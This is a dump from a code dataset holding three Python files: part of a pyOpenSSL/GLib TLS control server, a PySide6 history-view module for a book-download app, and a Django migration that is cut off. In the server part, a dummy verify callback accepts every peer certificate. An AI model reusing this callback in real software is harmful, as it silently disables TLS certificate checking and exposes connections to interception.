info.sslSock.do_handshake()\n                    info.state = _HandShaker.HANDSHAKE_COMPLETE\n                except SSL.WantReadError:\n                    info.state = _HandShaker.HANDSHAKE_WANT_READ\n                except SSL.WantWriteError:\n                    info.state = _HandShaker.HANDSHAKE_WANT_WRITE\n                except SSL.Error as e:\n                    raise _ConnException(\"Handshake failed, %s\" % (str(info.sslSock.getpeername())), e)\n\n            # HANDSHAKE_COMPLETE\n            if info.state == _HandShaker.HANDSHAKE_COMPLETE:\n                # give socket to handShakeCompleteFunc\n                self.handShakeCompleteFunc(source, self.sockDict[source].sslSock, self.sockDict[source].hostname, self.sockDict[source].port)\n                del self.sockDict[source]\n                return False\n        except _ConnException as e:\n            if not e.hasExcObj:\n                logging.debug(\"_HandShaker._onEvent: %s, %s\", e.message, str(info.sslSock.getpeername()))\n            else:\n                logging.debug(\"_HandShaker._onEvent: %s, %s, %s, %s\", e.message, str(info.sslSock.getpeername()), e.excName, e.excMessage)\n            self.handShakeErrorFunc(source, self.sockDict[source].hostname, self.sockDict[source].port)\n            del self.sockDict[source]\n            return False\n\n        # register io watch callback again\n        if info.state == _HandShaker.HANDSHAKE_WANT_READ:\n            GLib.io_add_watch(source, GLib.IO_IN | _flagError, self._onEvent)\n        elif info.state == _HandShaker.HANDSHAKE_WANT_WRITE:\n            GLib.io_add_watch(source, GLib.IO_OUT | _flagError, self._onEvent)\n        else:\n            assert False\n\n        return False\n\n\ndef _sslVerifyDummy(conn, cert, errnum, depth, ok):\n    return True\n\n\nclass _ConnException(Exception):\n\n    def __init__(self, message, excObj=None):\n        super(_ConnException, self).__init__(message)\n\n        self.hasExcObj = False\n        if excObj is not None:\n            self.hasExcObj = True\n            self.excName = excObj.__class__\n            self.excMessage = excObj.message\n\n\nclass _HandShakerConnInfo:\n    state = None                 # enum\n    sslSock = None               # obj\n    hostname = None              # str\n    port = None                  # int\n\n\ndef _handshake_state_to_str(handshake_state):\n    if handshake_state == _HandShaker.HANDSHAKE_NONE:\n        return \"NONE\"\n    elif handshake_state == _HandShaker.HANDSHAKE_WANT_READ:\n        return \"WANT_READ\"\n    elif handshake_state == _HandShaker.HANDSHAKE_WANT_WRITE:\n        return \"WANT_WRITE\"\n    elif handshake_state == _HandShaker.HANDSHAKE_COMPLETE:\n        return \"COMPLETE\"\n    else:\n        assert False\n\n\n_flagError = GLib.IO_PRI | GLib.IO_ERR | GLib.IO_HUP | GLib.IO_NVAL\n", "repo_name": "syncupd/syncupd", "sub_path": "lib/gbs_ctrl_server.py", "file_name": "gbs_ctrl_server.py", "file_ext": "py", "file_size_in_byte": 19833, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "socket.socket", "line_number": 31, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 31, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 31, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.io_add_watch", "line_number": 34, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 34, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_IN", "line_number": 34, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 55, "usage_type": "call"}, {"api_name": "socket.error", "line_number": 57, "usage_type": "attribute"}, {"api_name": "logging.error", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 70, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 75, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 79, "usage_type": "attribute"}, {"api_name": "gbs_common.GbsSystem", "line_number": 92, "usage_type": "call"}, {"api_name": "select.select", "line_number": 107, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 114, "usage_type": "call"}, {"api_name": "OpenSSL.SSL.SysCallError", "line_number": 116, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL", "line_number": 116, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 118, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 127, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 130, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 137, "usage_type": "call"}, {"api_name": "gbs_common.GbsProtocolException", "line_number": 146, "usage_type": "name"}, {"api_name": "gbs_common.GbsBusinessException", "line_number": 146, "usage_type": "name"}, {"api_name": "logging.error", "line_number": 147, "usage_type": "call"}, {"api_name": "gbs_common.GbsProtocolException", "line_number": 161, "usage_type": "call"}, {"api_name": "gbs_common.GbsProtocolException", "line_number": 172, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 175, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 178, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 182, "usage_type": "call"}, {"api_name": "gbs_common.GbsProtocolException", "line_number": 191, "usage_type": "call"}, {"api_name": "gbs_common.GbsProtocolException", "line_number": 193, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 204, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 213, "usage_type": "call"}, {"api_name": "logging.exception", "line_number": 225, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 229, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 235, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 239, "usage_type": "call"}, {"api_name": "gbs_common.GbsProtocolException", "line_number": 242, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 245, "usage_type": "call"}, {"api_name": "gbs_common.GbsPluginManager.loadPluginObject", "line_number": 246, "usage_type": "call"}, {"api_name": "gbs_common.GbsPluginManager", "line_number": 246, "usage_type": "name"}, {"api_name": "gbs_util.GbsUtil.mergeDictWithOverwriteAsException", "line_number": 266, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 266, "usage_type": "name"}, {"api_name": "services.rsyncd.RsyncService", "line_number": 269, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 272, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil.mergeDictWithOverwriteAsException", "line_number": 273, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 273, "usage_type": "name"}, {"api_name": "gbs_util.GbsUtil.mergeDictWithOverwriteAsException", "line_number": 296, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 296, "usage_type": "name"}, {"api_name": "services.sshd.SshService", "line_number": 299, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 302, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil.mergeDictWithOverwriteAsException", "line_number": 303, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 303, "usage_type": "name"}, {"api_name": "services.rsyncd.RsyncService", "line_number": 309, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 312, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil.mergeDictWithOverwriteAsException", "line_number": 313, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 313, "usage_type": "name"}, {"api_name": "services.catfiled.CatFileService", "line_number": 318, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 321, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil.mergeDictWithOverwriteAsException", "line_number": 322, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 322, "usage_type": "name"}, {"api_name": "gi.repository.GLib.io_add_watch", "line_number": 390, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 390, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_IN", "line_number": 390, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.IO_OUT", "line_number": 390, "usage_type": "attribute"}, {"api_name": "gbs_util.GbsUtil.cbConditionToStr", "line_number": 398, "usage_type": "call"}, {"api_name": "gbs_util.GbsUtil", "line_number": 398, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.Context", "line_number": 402, "usage_type": "call"}, {"api_name": "OpenSSL.SSL", "line_number": 402, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.TLSv1_2_METHOD", "line_number": 402, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL.VERIFY_PEER", "line_number": 403, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL", "line_number": 403, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.Connection", "line_number": 408, "usage_type": "call"}, {"api_name": "OpenSSL.SSL", "line_number": 408, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_IN", "line_number": 413, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 413, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_OUT", "line_number": 414, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 414, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.WantReadError", "line_number": 418, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL", "line_number": 418, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.WantWriteError", "line_number": 420, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL", "line_number": 420, "usage_type": "name"}, {"api_name": "OpenSSL.SSL.Error", "line_number": 422, "usage_type": "attribute"}, {"api_name": "OpenSSL.SSL", "line_number": 422, "usage_type": "name"}, {"api_name": "logging.debug", "line_number": 433, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 435, "usage_type": "call"}, {"api_name": "gi.repository.GLib.io_add_watch", "line_number": 442, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 442, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_IN", "line_number": 442, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.io_add_watch", "line_number": 444, "usage_type": "call"}, {"api_name": "gi.repository.GLib", "line_number": 444, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_OUT", "line_number": 444, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.IO_PRI", "line_number": 487, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib", "line_number": 487, "usage_type": "name"}, {"api_name": "gi.repository.GLib.IO_ERR", "line_number": 487, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.IO_HUP", "line_number": 487, "usage_type": "attribute"}, {"api_name": "gi.repository.GLib.IO_NVAL", "line_number": 487, "usage_type": "attribute"}]}
{"seq_id": "42625335788", "text": "\r\nfrom value.font import *\r\nfrom value.color import *\r\nfrom object.download import Download\r\nfrom object.history_search import History_Search\r\nfrom sszp.sszpThread import sszpThread\r\nfrom utils.common.load_pic import load_pic\r\nfrom utils.common.open_url import open_url\r\n\r\nfrom PySide6.QtWidgets import QWidget, QLabel, QComboBox, QTextEdit\r\nfrom PySide6.QtCore import QMutexLocker, Qt\r\nfrom PySide6.QtGui import QCursor, QFont, QStandardItemModel, QStandardItem\r\nfrom PySide6.QtWidgets import QFrame\r\n\r\ndef append_history_book(self, download: Download, gx: int, gy: int):\r\n    # append to history book\r\n    \r\n    wgt_main = QWidget()\r\n    wgt_main.setFixedWidth(self.hbook_item.w)\r\n    wgt_main.setFixedHeight(self.hbook_item.h)\r\n    wgt_main.setGeometry(self.hbook_item.x, self.hbook_item.y, self.hbook_item.w, self.hbook_item.h)\r\n    wgt_main.setStyleSheet(f'''background: {self.hbook_item.bg};\r\n                            border-radius: {self.hbook_item.br}px;''')\r\n    \r\n    # lb_pic\r\n    lb_pic = QLabel(wgt_main)\r\n    lb_pic.setGeometry(self.hbook_item.pic_x, self.hbook_item.pic_y, self.hbook_item.pic_w, self.hbook_item.pic_h)\r\n    lb_pic.setScaledContents(True)\r\n    lb_pic.setCursor(QCursor(Qt.PointingHandCursor))\r\n    # use a pic to download\r\n    sszpthread = sszpThread(func=lambda: load_pic(lb_pic, download.book.cover))\r\n    sszpthread.start()\r\n\r\n    lb_pic.mousePressEvent = lambda eve: self.download_launcher_not_append(download.book)\r\n\r\n    # te_title\r\n    te_t = QTextEdit(wgt_main)\r\n    te_t.setGeometry(self.hbook_item.t_x, self.hbook_item.t_y, self.hbook_item.t_w, self.hbook_item.t_h)\r\n    te_t.setText(f'<a style=\"color: {color_title}; font-style: italic;\">{download.book.title}</a>')\r\n    te_t.setReadOnly(True)\r\n    te_t.setFrameShape(QFrame.Shape.NoFrame)\r\n    te_t.setFont(QFont(times_, 12))\r\n    te_t.setCursor(QCursor(Qt.PointingHandCursor))\r\n    te_t.setAlignment(Qt.AlignmentFlag.AlignHCenter)\r\n\r\n    # lb_press\r\n    lb_p = QLabel(wgt_main)\r\n    lb_p.setGeometry(self.hbook_item.p_x, self.hbook_item.p_y, self.hbook_item.p_w, self.hbook_item.p_h)\r\n    lb_p.setText(download.book.press)\r\n    lb_p.setFont(QFont(times_, 12))\r\n    lb_p.setAlignment(Qt.AlignmentFlag.AlignHCenter)\r\n\r\n    # lb_author\r\n    lb_a = QLabel(wgt_main)\r\n    lb_a.setGeometry(self.hbook_item.a_x, self.hbook_item.a_y, self.hbook_item.a_w, self.hbook_item.a_h)\r\n    lb_a.setText(download.book.author)\r\n    lb_a.setFont(QFont(times_, 12))\r\n    lb_a.setAlignment(Qt.AlignmentFlag.AlignHCenter)\r\n    lb_a.setStyleSheet(f'color: {color_author}; text-decoration: underline;')\r\n\r\n    # lb_zlib\r\n    lb_z = QLabel(wgt_main)\r\n    lb_z.setGeometry(self.hbook_item.z_x, self.hbook_item.z_y, self.hbook_item.z_w, self.hbook_item.z_h)\r\n    lb_z.setCursor(QCursor(Qt.PointingHandCursor))\r\n    lb_z.setText(f'zlib: {download.book.url}')\r\n    lb_z.setFont(QFont(times_, 11))\r\n    # hover\r\n    lb_z.enterEvent = lambda eve: lb_z.setStyleSheet(f'color: {color_title}')\r\n    lb_z.leaveEvent = lambda eve: lb_z.setStyleSheet(f'color: {color_black}')\r\n    # callback\r\n    lb_z.mousePressEvent = lambda eve: open_url(download.book.url) # redownload\r\n    \r\n    # lb_l \r\n    lb_l = QLabel(wgt_main)\r\n    lb_l.setGeometry(self.hbook_item.l_x, self.hbook_item.l_y, self.hbook_item.l_w, self.hbook_item.l_h)\r\n    lb_l.setText(f'{download.book.language}')\r\n    lb_l.setFont(QFont(times_, 11))\r\n\r\n    # lb_year\r\n    lb_y = QLabel(wgt_main)\r\n    lb_y.setGeometry(self.hbook_item.y_x, self.hbook_item.y_y, self.hbook_item.y_w, self.hbook_item.y_h)\r\n    lb_y.setText(f'{download.book.year}')\r\n    lb_y.setFont(QFont(times_, 11))\r\n\r\n    # lb_el\r\n    lb_el = QLabel(wgt_main)\r\n    lb_el.setGeometry(self.hbook_item.el_x, self.hbook_item.el_y, self.hbook_item.el_w, self.hbook_item.el_h)\r\n    lb_el.setText(f'{download.book.extension}, {download.book.length}')\r\n    lb_el.setFont(QFont(times_, 11))\r\n    \r\n    with QMutexLocker(self.mutex):\r\n        self.gl_history_book.addWidget(wgt_main, gx, gy)\r\n\r\n# use to append history search\r\n# use history_search because of need to show the cover\r\ndef append_history_search(self, search: History_Search, gx: int, gy: int):\r\n    # append to history search\r\n    \r\n    wgt_main = QWidget()\r\n    wgt_main.setFixedWidth(self.search_item.w)\r\n    wgt_main.setFixedHeight(self.search_item.h)\r\n    wgt_main.setGeometry(self.search_item.x, self.search_item.y, self.search_item.w, self.search_item.h)\r\n    wgt_main.setStyleSheet(f'''background: {self.search_item.bg};\r\n                            border-radius: {self.search_item.br}px;''')\r\n    \r\n    # lb_pic\r\n    lb_pic = QLabel(wgt_main)\r\n    lb_pic.setGeometry(self.search_item.pic_x, self.search_item.pic_y, self.search_item.pic_w, self.search_item.pic_h)\r\n    lb_pic.setScaledContents(True)\r\n    lb_pic.setCursor(QCursor(Qt.PointingHandCursor))\r\n    sszpthread = sszpThread(func=lambda: load_pic(lb_pic, search.cover))\r\n    sszpthread.start()\r\n\r\n    # relaunch\r\n    lb_pic.mousePressEvent = lambda eve: self.search_launcher_not_append(search.search)\r\n\r\n    # q\r\n    lb_q = QLabel(wgt_main)\r\n    lb_q.setGeometry(self.search_item.q_x, self.search_item.q_y, self.search_item.q_w, self.search_item.q_h)\r\n    lb_q.setText(f'<a style=\"color: {color_q}; font-style: italic;\">{search.search.q}</a>')\r\n    lb_q.setFont(QFont(times_, 15))\r\n    lb_q.setCursor(QCursor(Qt.PointingHandCursor))\r\n    lb_q.setAlignment(Qt.AlignmentFlag.AlignHCenter) # alignment Horizontal Center\r\n\r\n    # search type\r\n    lb_st = QLabel(wgt_main)\r\n    lb_st.setGeometry(self.search_item.st_x, self.search_item.st_y, self.search_item.st_w, self.search_item.st_h)\r\n\r\n    lb_st.setText(f'{search.search.search_type} search')\r\n    lb_st.setFont(QFont(times_, 12))\r\n    \r\n    # year\r\n    lb_y = QLabel(wgt_main)\r\n    lb_y.setGeometry(self.search_item.y_x, self.search_item.y_y, self.search_item.y_w, self.search_item.y_h)\r\n\r\n    lb_y.setText(f'from {search.search.year_from} to {search.search.year_to}')\r\n    lb_y.setFont(QFont(times_, 12))\r\n\r\n    # comb_language\r\n    comb_l = QComboBox(wgt_main)\r\n    comb_l.setGeometry(self.search_item.l_x, self.search_item.l_y, self.search_item.l_w, self.search_item.l_h)\r\n        # sim is StandardItemModel\r\n    sim_l = QStandardItemModel()\r\n    for lang in search.search.languages:\r\n        sim_l.appendRow(QStandardItem(lang))\r\n    comb_l.setModel(sim_l)\r\n    comb_l.setFont(QFont(times_, 12))\r\n    \r\n    # book nums\r\n    lb_bn = QLabel(wgt_main)\r\n    lb_bn.setGeometry(self.search_item.bn_x, self.search_item.bn_y, self.search_item.bn_w, self.search_item.bn_h)\r\n\r\n    lb_bn.setText(f'book nums: {search.search.book_nums}')\r\n    lb_bn.setFont(QFont(times_, 12))\r\n\r\n    # comb_extension\r\n    comb_ex = QComboBox(wgt_main)\r\n    comb_ex.setGeometry(self.search_item.ex_x, self.search_item.ex_y, self.search_item.ex_w, self.search_item.ex_h)\r\n    sim_ex = QStandardItemModel()\r\n    for ex in search.search.extensions:\r\n        sim_ex.appendRow(QStandardItem(ex))\r\n    comb_ex.setModel(sim_ex)\r\n    comb_ex.setFont(QFont(times_, 12))\r\n\r\n    # lb_t\r\n    lb_t = QLabel(wgt_main)\r\n    lb_t.setGeometry(self.search_item.t_x, self.search_item.t_y, self.search_item.t_w, self.search_item.t_h)\r\n    \r\n    lb_t.setText(f'time: {search.search.time.ymdhm()}')\r\n    lb_t.setFont(QFont(times_, 12))\r\n\r\n    # lb_em\r\n    lb_em = QLabel(wgt_main)\r\n    lb_em.setGeometry(self.search_item.em_x, self.search_item.em_y, self.search_item.em_w, self.search_item.em_h)\r\n\r\n    lb_em.setText(f'<a>Exact: {search.search.exact_matching_bool()}</a>')\r\n    lb_em.setFont(QFont(times_, 12))\r\n\r\n    with QMutexLocker(self.mutex): \r\n        # add wgt_main to gridLayout\r\n        self.gl_history_search.addWidget(wgt_main, gx, gy)\r\n\r\n", "repo_name": "SingSongZepe/slibrary", "sub_path": "slibrary_functions/append_history.py", "file_name": "append_history.py", "file_ext": "py", "file_size_in_byte": 7661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "object.download.Download", "line_number": 15, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QWidget", "line_number": 18, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 26, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QCursor", "line_number": 29, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.PointingHandCursor", "line_number": 29, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 29, "usage_type": "name"}, {"api_name": "sszp.sszpThread.sszpThread", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.common.load_pic.load_pic", "line_number": 31, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QTextEdit", "line_number": 37, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QFrame.Shape", "line_number": 41, "usage_type": "attribute"}, {"api_name": "PySide6.QtWidgets.QFrame", "line_number": 41, "usage_type": "name"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 42, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QCursor", "line_number": 43, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.PointingHandCursor", "line_number": 43, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 43, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt.AlignmentFlag", "line_number": 44, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 44, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 47, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 50, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.AlignmentFlag", "line_number": 51, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 51, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 54, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 57, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.AlignmentFlag", "line_number": 58, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 58, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 62, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QCursor", "line_number": 64, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.PointingHandCursor", "line_number": 64, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 64, "usage_type": "name"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 66, "usage_type": "call"}, {"api_name": "utils.common.open_url.open_url", "line_number": 71, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 74, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 77, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 80, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 83, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 86, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 89, "usage_type": "call"}, {"api_name": "PySide6.QtCore.QMutexLocker", "line_number": 91, "usage_type": "call"}, {"api_name": "object.history_search.History_Search", "line_number": 96, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QWidget", "line_number": 99, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 107, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QCursor", "line_number": 110, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.PointingHandCursor", "line_number": 110, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 110, "usage_type": "name"}, {"api_name": "sszp.sszpThread.sszpThread", "line_number": 111, "usage_type": "call"}, {"api_name": "utils.common.load_pic.load_pic", "line_number": 111, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 118, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 121, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QCursor", "line_number": 122, "usage_type": "call"}, {"api_name": "PySide6.QtCore.Qt.PointingHandCursor", "line_number": 122, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 122, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt.AlignmentFlag", "line_number": 123, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 123, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 126, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 130, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 133, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 137, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QComboBox", "line_number": 140, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QStandardItemModel", "line_number": 143, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QStandardItem", "line_number": 145, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 147, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 150, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 154, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QComboBox", "line_number": 157, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QStandardItemModel", "line_number": 159, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QStandardItem", "line_number": 161, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 163, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 166, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 170, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QLabel", "line_number": 173, "usage_type": "call"}, {"api_name": "PySide6.QtGui.QFont", "line_number": 177, "usage_type": "call"}, {"api_name": "PySide6.QtCore.QMutexLocker", "line_number": 179, "usage_type": "call"}]}
{"seq_id": "20686736886", "text": "# -*- coding: utf-8 -*-\r\nfrom __future__ import unicode_literals\r\n\r\nfrom django.db import migrations, models\r\nimport django.db.models.deletion\r\n\r\n\r\nclass Migration(migrations.Migration):\r\n\r\n    dependencies = [\r\n        ('contrib', '0015_auto_20170816_1445'),\r\n        ('djdocuments', '0011_todos_modelo_pronto_para_utilizacao_como_true'),\r\n        ('atendimento', '0047_auto_20180118_1131'),\r\n    ]\r\n\r\n    operations = [\r\n        migrations.CreateModel(\r\n            name='ModeloDocumento',\r\n            fields=[\r\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\r\n                ('nome', models.CharField(max_length=255)),\r\n                ('tipo', models.PositiveSmallIntegerField(default=0, choices=[(0, 'GED'), (1, 'Jasper')])),\r\n                ('jasper_resource', models.CharField(default=None, max_length=255, null=True, blank=True)),\r\n                ('jasper_name', models.CharField(default=None, max_length=255, null=True, blank=True)),\r\n                ('jasper_params', models.CharField(default=None, max_length=255, null=True, blank=True)),\r\n                ('data_cadastro', models.DateTimeField(auto_now_add=True, verbose_name='Data de Cadastro', null=True)),\r\n                ('ativo', models.BooleanField(default=True)),\r\n                ('cadastrado_por', models.ForeignKey(related_name='+', default=None, blank=True, to='contrib.Servidor', null=True, on_delete=django.db.models.deletion.DO_NOTHING)),\r\n            ],\r\n        ),\r\n        migrations.AlterModelOptions(\r\n            name='impedimento',\r\n            options={'ordering': ['-ativo', 'data_cadastro', 'pessoa__nome', 'defensor']},\r\n        ),\r\n        migrations.RemoveField(\r\n            model_name='impedimento',\r\n            name='cancelado_por',\r\n        ),\r\n        migrations.RemoveField(\r\n            model_name='impedimento',\r\n            name='confirmado_por',\r\n        ),\r\n        migrations.RemoveField(\r\n            model_name='impedimento',\r\n            name='data_cancelado',\r\n        ),\r\n        migrations.RemoveField(\r\n            model_name='impedimento',\r\n            name='data_confirmado',\r\n        ),\r\n        migrations.AddField(\r\n            model_name='documento',\r\n            name='impedimento',\r\n            field=models.ForeignKey(related_name='documentos_avaliacao', blank=True, to='atendimento.Impedimento', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='anotacao_avaliacao',\r\n            field=models.TextField(null=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='anotacao_baixa',\r\n            field=models.TextField(null=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='atendimento',\r\n            field=models.ForeignKey(related_name='impedimentos', default=None, to='atendimento.Defensor', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='avaliado_por',\r\n            field=models.ForeignKey(related_name='+', default=None, blank=True, to='contrib.Servidor', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='baixado_por',\r\n            field=models.ForeignKey(related_name='+', default=None, blank=True, to='contrib.Servidor', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='cadastrado_por',\r\n            field=models.ForeignKey(related_name='+', default=None, blank=True, to='contrib.Servidor', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='data_avaliacao',\r\n            field=models.DateTimeField(default=None, null=True, blank=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='data_baixa',\r\n            field=models.DateTimeField(default=None, null=True, blank=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='data_cadastro',\r\n            field=models.DateTimeField(auto_now_add=True, verbose_name='Data de Cadastro', null=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='data_recurso',\r\n            field=models.DateTimeField(default=None, null=True, blank=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='medida_pretendida',\r\n            field=models.TextField(null=True, blank=True),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='razao',\r\n            field=models.ForeignKey(related_name='+', default=None, to='atendimento.Qualificacao', null=True, on_delete=django.db.models.deletion.DO_NOTHING),\r\n        ),\r\n        migrations.AddField(\r\n            model_name='impedimento',\r\n            name='recorrido_por',\r\n            field=models.ForeignKey(related_name='+', default=None, blank=True, 